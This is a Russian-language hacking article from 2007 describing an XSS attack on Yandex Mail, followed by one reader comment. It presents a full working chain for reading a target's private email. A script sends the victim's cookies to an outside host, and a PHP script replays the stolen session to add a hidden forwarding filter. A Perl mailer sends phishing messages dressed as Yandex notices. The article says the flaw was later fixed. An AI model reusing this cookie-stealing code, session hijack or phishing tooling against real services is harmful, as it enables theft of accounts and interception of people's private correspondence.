************************************************************************************************************************* * Title : YandeXSS * Writed : NST * Comments : таким вот символом # я помечю коментарии которые были добавлены к этой статье ************************************************************************************************************************* 1. Intro. YandeXSS. 3. Облом с AJAX4. Посмотрим на это с другой стороны. 5. Сообщения на основе шаблонов. 6. Выдуманный пример. 7. Эпилог. 8. Warning. 9. URLs. ||| Intro. Теперь я убедился в том, что Яндекс не солгал, взяв себе на вооружение такой рекламный слоган – “Яндекс – найдётся всё” В итоге я нашёл, что искал... До сих пор удивляюсь, почему программисты, работая над крупными и популярными проектами, ещё не уяснили, что необходимо фильтровать на предмет спец символов все данные, приходящие от пользователя, которые как либо могут повлиять на работу системы. Хотя чему тут удивляться, извечное давление свыше заставляет сдавать всё во время, пусть немного недоделано, но работает же ||| YandeXSS. Бродя как-то по WEB почте Яндекса, с мыслью это же Яндекс тут есть всё, я искал что-нибудь, что поможет мне теоретически почитать почту недруга. Конечно найти что-то серьёзное вероятность довольно мала, а вот XSS вполне реальная вещ. # XSS реальная вещ думал я, а как пишут в СМИ неизвестные нашли там такого рода прикол : заветная строка в .htaccess # файл AddType application/x-httpd-php .jpg и "счастье" со всеми его вытекающими, база мыл и т.п, но это уже не моя статья. # # Почему же я не стал смотреть в такую сторону : # # 1. GET запрос сказал мне, что там некий "ZX_Spectrum/1997 c ОС (Sinclair_BASIC)" - (даже когда-то игрался на таком). # Понятно админ сменил банер сервиса. Хотя там раньше был другой банер. # # nst@nst:~# telnet narod.ru 80 # Connected to narod.ru. # Escape character is '^]'. # GET / HTTP/1.0 # # HTTP/1.1 200 OK # Date: Mon, 29 Jan 2007 20:54:34 GMT # Server: ZX_Spectrum/1997 (Sinclair_BASIC) # Connection: close # # 2. nmap -sV -p 80 yandex.ru && nmap -sV -p 80 narod.ru # # Сообщил, что отпечаток такого сервиса ему неизвестен. # # 3. Я почему-то думал, что у крупных контор весь софт самописный, ну или почти Это всё гугла со своим GWS. Потом такой # косяк в настройке веб сервера это фантастика, ан нет ! # # Мораль сей басни такова, что когда уже все возможные методы проверены в ход идут самые невероятные способы. Придумывать # свои способы фингерпринта. # Сценарий своих действий я видел таким : 1. Нахожу XSS пассивную или активную. На первый вариант надежды больше так как все поля, из которых данные заносятся в заголовок и текст письма отфильтрованы 33 раза =) Необходимо ориентироваться на суб-домен mail.yandex.ru т.к. XSS здесь вызовет меньшею подозрительность у недруга. 2. Пешим web-снифер, который будет вытаскивать из куки полезную информацию, сохранять её и оповещать меня по почте об появление новых записей в логе. Оповещение необходимо так как сессии на яндексе долго не живут. 3. В сервисах какого-нибудь оператора сотовой связи можно взять услугу которая будет сбрасывать оповещение на телефон о получение корреспонденции на обслуживаемый почтовый ящик. Тот самый на который будут приходить оповещения от web-снифера. И начались многочисленные проверки полей на предмет XSS, подстановкой в них конструкции вида <i>TEST</i> и наблюдая, а не появилось ли в ожидаемых местах курсивное слово TEST. Заодно у меня будет примерный список потенциальных параметров, в которых возможна XSS, где только мешает фильтр который можно попытаться обмануть. Благо есть пару проверенных способов. Итак на поиск в разделы. В секции “Письма” всё глухо да тут и полей на которые я могу как-то влиять всего три. Давай взглянем на них. Поля “От кого” и “Тема” отфильтрованы начисто, это я проверил из Секция “Переслать” и “Написать”, подставляя в поля коварные значения. Поле “Поиск в папке” на мою конструкцию ругается “синтаксическая ошибка” после чего я вижу свою внедряемою строку в неизменном виде. Ясно тут фильтр. На секции “Удалить” , “Это спам!” , “Проверить почту”, “Проверка на вирусы” смотреть нет смысла т.к. это только манипуляции с письмами и полей для ввода данных в них нет. # А может стоит посмотреть, и придумать как хитро это можно использовать. Переходим к секции “Адресная книга” как оказалась просто кладесь XSS и все они активные. После нескольких проверок, выяснилось, что фильтрами тут и не пахло, так как можно свободно внедрить конструкцию подобную <script>alert(‘NST’)</script> Только вот активность этих XSS обусловлена пользователем. Т.е. это всё хорошо когда мы находимся у себя в ящике и сами внедряем нужные значения – активизируем XSS. Но что бы это провернуть в ящике недруга, мне необходимо что бы недруг отправил POST запрос на скрипт colabook_addp с необходимыми значениями – сам активизировал XSS. Увы мне этого не сделать. Возможно это пригодится в будущем. Переходим к секции “Настройки”. Так что у нас здесь, в “Персональных настройках” нечего интересного, “Персональные папки” увы тоже пусто, фильтры JS кода нам портят всю картину. Едим дальше, на очереди станция “Фильтры” в её подсекция “Чёрном списке” и “Белом списке” тоже нечего, а вот сами фильтры после изучения их возможностей дают мне неплохой шанс почитать почту недруга. Так вот есть тут одна интересная возможность по пересылке почты на любой ящик. Правда при этом на ящик, который был указан в качестве получателя, скидывается сообщение для активации этого фильтра. Идея хороша сделать проверку, на то что вы установили пересылку на свой ящик, только вот непонятно зачем оставить возможность пересылать почту на тот же ящик в котором мы установили этот фильтр, на лицо петелька, но я не об этом. Можно послать много писем самому себе, но толку с DoS-а мало. Заметь самое интересное то, что для добавления фильтра на пересылку не нужно повторно вводит пароль пользователя. Который как раз подтверждает, что это именно владелец устанавливает фильтр, а не какой-то JavaScript код. В письме активации которое сбрасывается на ящик который был указан в качестве пункта назначения для писем, лежит обычная ссылка, кликнув по который мы активируем фильтр. Что из этого всего можно получить спросишь ты ? А получается, что если написать JavaScript код который отправит POST запрос на http://mail.yandex.ru/add_filter c моим ящиком в качестве получателя, сохраняя все пересылаемые письма в ящике недруга. Если не оставлять письма после пересылки, он сразу всё заметит. Ещё одним условием является что бы мой фильтр был первым в списке, тогда я смогу читать почту недруга до тех пор пока он невздумает настроить себе фильтр. Кстати письмо на активацию фильтра будет сигнализатором, на то что недруг попался =) Это однозначно must have. Но мне по-прежнему необходимо найти XSS, а осталась всего одна секция Поиск. Итак что у нас в ней, всего два поля из которых одно было проверено в секции “Письма” оптимистично. Ну что ж подставляю в поле “Поиск по адресам” <script>alert('Someone XSS here ???')</script> вуалях JS код выполняется. Итак все ингредиенты блюда у нас теперь есть, будем готовить. ||| Облом с AJAX. Я призадумался, как же мне выполнять POST запрос на JavaScript. Погуглировав на эту тему я нашёл замечательную технологию AJAX. Почитав немного выяснил, что её поддерживает большинство браузеров, реализация везде немного отличается, но кросбраузерности будет достигнуть не сложно. Написал скриптик, но обломался так как скрипт http://mail.yandex.ru/add_filter проверял, HTTP заголовок Referer. Средства AJAX позволяют устанавливать произвольные заголовки, но Referer увы Readonly. ||| Посмотрим на это с другой стороны. Если гора не идёт к Магомеду… Стоп какие горы, это я очём ? Меня посетила мысль, а что если с помощью XSS утащить сессию (она на Яндексе как я говорил хранится в кукисах) у недруга, передать её скрипту, а уже он отправит POST запрос на добавления фильтра. Проблем с Referer тут не будет, так как скриптом мы можем формировать заголовки какие только пожелает сервер. Пользователю скинуть письмо якобы от какой-нибудь службы Яндекса, в котором вставить ссылку, закодировав всё что будет привлекать внимание в URI. Яндекс умная система отформатирует ссылку HTML-ом и пользователь её будет видеть как обычную ссылку на сайтах. Сказано реализовано. В итоге у меня получился вот такой XSS <script src=http://xost/s/s.js></script> После преобразования его в URI, ( для преобразования я воспользовался nsT Calc ) nstCalc.pl –urle “<script src=http://xost/s/s.js></script>” и добавления полученного в параметр где я нашёл XSS, ссылка приняла такой вид http://mail.yandex.ru/search?help=error&address%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%73%74%2E%76%6F%69%64%2E%72%75%2F%73%2F%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E&do=1 Код s.js i = new Image; i.src='http://xost/s/s.gif?'+document.cookie; window.location='http://mail.yandex.ru/yamail'; Переменная help и её значение error здесь используется для правдоподобности. Пусть недруг думает, что это ссылка на некую помощь. Можно было и не делать промежуточный скрипт s.js, а напрямую внедрить window.location=http:// Но в таком случае ссылка была бы значительно больше и привлекала бы лишние внимание, а нам оно здесь абсолютно лишние. Затем я написал скрипт на PHP который будет вытаскивать сессию из QUERY_STRING (именно там окажется кука, а следовательно и сессия в ней, после выполнения в браузере недруга скрипта s.js) , а затем скрипт сделает необходимый POST запрос, который добавит фильтр. Приведу только интересные моменты скрипта s.gif, полный код ищи на сайте. Код s.gif Code: <? // Consts & Paths. Сначала у нас идёт множество констант. // We are the pictures. if (!strlen($_SERVER['QUERY_STRING'])) { $i = @fopen($img, "rb"); fpassthru($i); fclose($i); die; } Здесь скрипт прикидываемся картинкой, если пользователь захочет открыть её в браузере. // Build query data for request. $data="field_filtername="; $data.=$name; $data.="&letter=any_letter&field_case=0&field_cliker=forward&field_mailz="; $data.=$mail; $data.="&forward_with_store=yes&field_case2=0"; Тут переменным присваиваем все необходимые данные для запроса. Их я взял из формы которая добавляет фильтр. // Build reqest. $req="POST $target HTTP/1.0\r\n"; $req.="Referer:".$ref."\r\n"; $req.="Content-Type: application/x-www-form-urlencoded\r\n"; $req.="Host: ".$host."\r\n"; $req.="Content-Length: ".strlen($data)."\r\n"; $req.="Cookie: ".$send_cook."\r\n"; $req.="Connection: Close\r\n\r\n"; $req.=$data; Констроирую POST запрос. // Open & send reqest. Посылаю запрос и анализирую ответ. ?> Для правильной работы данному скрипту необходимы следующие условия : 1. На сервере должно быть разрешено использование функции fsockopen(). Увы на бесплатных хостингах её часто блокируют. 2. Необходимо что бы s.gif обрабатывался PHP, например в Apache этого можно добиться с помощью .htaccess файла следующего содержания, который необходимо поместить в директорию, где лежит s.gif <Files "s.gif"> AddType application/x-httpd-php .gif </Files> 3. При включённом логирование данных в web-снифере, на файл data.txt необходимо установить соответствующие права доступа. Думаю основная идея скрипта понятна. Прокомментирую его некоторые переменные. $img – имя картинки которая будет выдаваться при прямом обращение к скрипту. $log_name – имя фаила в который будет делаться логирование. $name – имя добавляемого фильтра. $mail – ящик на который перебрасывать всё почту недруга. $redir – ссылка по которой будет переброшен пользователь. ||| Сообщения на основе шаблонов. Теперь осталось только сделать так что бы недруг кликнул по нашей ссылки которая придёт ему в письме. Я написал небольшой скрипт на PERL который использует шаблоны и на основе их отправляет письмо пользователю. В качестве шаблонов используются сообщения которые присылает Яндекс-служба в случае каких-то некорректных действий. Так же подойдут сообщений о получение открытки с cards.yandex.ru и многие другие. Фантазируй пиши шаблоны, зная основы социальной инженерии ты, можешь быть уверенным, что пользователь кликнет по ссылке. Code: #!/usr/bin/perl use IO::Socket; ### GRETS ######################################################## # # Гритсы все в коде. # ################################################################## ### INFO ######################################################### # # Script don't work ? Use command below for get IP-s of # Yandex smtps. # # host -t A mx1.yandex.ru # # Mail tamplate derectives. # Not like my ? Feeling freedom create you own. # # NST_VICTIM_EMAIL - Email of target user. # NST_VICTIM_FULL_EMAIL - Full email of target user. # # NST_DEST_EMAIL - Email of fake destination. # NST_DEST_FULL_EMAIL - Full email of destination. # NST_DATA_TIME - Field where shuld change date at now. # NST_ARRIVAL_DATE_TIME - It's NST_DATA_TIME - Some time. # NST_SENDER_IP - Fake IP of sender user. # NST_XSS_URL - I think you understend it. # ################################################################## ### CFG ########################################################## # ## Global # $debug=1; $rcvbuf=500; #$smtp="127.0.0.1"; $smtp="213.180.200.11"; # mxfront6.yandex.ru $port=25; # ### Mail # # Mail domain. $dom="yandex.ru"; # This mail we are use as fake address of destination - NST_DEST_EMAIL $dest="nst\@$dom"; # This mail we are use as full fake address of destination - NST_DEST_FULL_EMAIL $dest_f="\"NST\" <$dest>"; # Sender IP $sndip="213.180.200.11"; # Arrival time. By default we are subtract 2 minutes. $hours=0; $minutes=2; $seconds=0; # ### XSS # $xss = "<script src=http://xost/s/s.js></script>"; ################################################################## ### SUBS ######################################################### sub usage() { print qq( Usage : <victim_user of yandex> <mail template> Exaple : nst 1.tpl ); exit; } ################################################################## &usage if(@ARGV<2 || ! -e $ARGV[1]); # Victim $victim = "$ARGV[0]\@$dom"; $victim_f = "\"$ARGV[0]\" $ARGV[0]\@$dom"; # Encode XSS if($debug) { $xss = "<script>alert(/Someone try exploit you./);</script>"; } $xss =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $xss_url = "http://mail.yandex.ru/search?help=error&address=$xss&do=1"; Сдесь идёт код который получает текущие время и формирует дату в таком же виде, что и почтовый сервер отправляет письмо. # Prepare to send data. Сдесь мы используя протокол SMTP, договариваемся с сервером о передаче письма. # Process headers. while(<M>) { s/NST_VICTIM_FULL_EMAIL/$victim_f/; s/NST_VICTIM_EMAIL/$victim/; s/NST_DEST_FULL_EMAIL/$dest_f/; s/NST_DEST_EMAIL/$dest/; s/NST_DATE_TIME/$d_t_s/; s/NST_ARRIVAL_DATE_TIME/$d_t_a/; s/NST_SENDER_IP/$sndip/g; s/NST_XSS_URL/$xss_url/; Здесь происходит замена всех заголовков в соответствии с шаблоном. После этого я завершаю соединение и вывожу сообщение об успешной отправки письма. print "\n Message send to $ARGV[0]\@yandex.ru - OK\n\n"; Типы шаблонов : 1.tpl – Ошибка в адресате. 2.tpl – Использует сообщение о несуществуещем пользователе. 3.tpl – Яндекс открытки. ||| Выдуманный пример. После всех этих теоретическо-кодерских слов я покажу возможный сценарий действий максимально приближенный к реальности. Предположим у моего недруга есть ящик Mister-N@yandex.ru и как очевидно обозначим его мистер N. Он ведёт конфиденциальную переписку со своей подругой хакершей которая использует ящик Mis-S@mail.ru обозначим её мисс S. А я буду использовать ящик Mister-T@yandex.ru и обозначу себя как мистер T. На каком-нибудь хостинге где есть поддержка PHP и можно работать с сокетами, создаю директорию s и загружаю в неё : s.gif , s.js , .htaccess С заранее приготовленного шелла запускаю ya_tpl_msg.pl таким образом nst@root~# ./ya_tpl_msg.pl Mister-N@yandex.ru <любой из шаблонов> Мистер N заходит в очередной раз проверить свою почту через WEB. Видит, что пришло сообщение о том, что какое-то письмо для его подруги не отправилось, не долго думая он кликакет по ссылки. В итоге его перебрасывает на главную страницу почты Яндекса. Он куда-то торопится не обдумывает, что случилось и просто удаляет это сообщение сославшись на ошибку системы. Тем временем мистер T получает на мобильник уведомление, что пришла новая корреспонденция в ящик Mister-T@yandex.ru. Проверяет его, и успешно активирует фильтр. Спустя некоторое время мисс S отправляет письмо мистеру N, но письмо так же оказывается у мистера T благодаря техники которую мы освоили. Вот так это могло выглядеть, будь всегда внимателен когда кликаеш по подозрительным ссылкам, используй шифрование и заберай почту каким-нибудь почтовым клиентом. ||| Эпилог. Как видно из статьи Yandex допустил ошибки в двух местах, что повлекло к существованию этого материала. Анализируя систему изучи всё её возможности и применяй все полученные знания в комплексе для достижения своей цели. Всё хорошо в идеализированных ситуациях, а вот в реальности такого не бывает. А разве ты, собрался это проверять в действительности ? Нет это перечит закону, так сказать тренируйся на кошках. # Сколько поучительных громких слов в статье, возникает какое-то нездоровое ощущение - "О я великий гуру, смотрящий на тебе # читатель мой". Тупо да ?! Гуру кодят на асме, и пишут Linux-ы, VX/RAT и т.п, ну я думаю понятно о чём я. И я так думаю, # самое главное из этой статьи, что ты можешь вынести так это идею - "Используй окружение по max для достижения своей цели" # которую я пытался показать. Решать сугубо вам получилось у меня или нет. Пару слов конструктивной критики судовольствием # выслушаю на нашем форуме. # # И дело думаю, не в словах, а в том что каждый по ночам сидит и что-то изучает, кодит, читает и получает знания. # # На данный момент 15.01.2007 всё описанное в статье прекрыто, но идея свой смысл непотеряет некогда Одно забыли, это # проверка пароля перед добовлением фильтра Ищи и удача будет на твоей стороне. ||| Warning. Данная статья есть плод моего дикого воображения. Читатель должен воспринимать этот материал как информацию к размышлению. Размышлять об этом рекомендуется в мысленной форме и некогда не предпринимать чего-либо подобного. ||| URLs. AJAX - http://ru.wikipedia.org/wiki/Ajax http://ajax-development.narod.ru/ajax-article.html Безапасность AJAX - http://securityfocus.com/infocus/1868
имхо если бы автор был повнимательнее, узнал бы что параметры отлично передаются и гетом. нет смысла так расписывать пассивную хсску.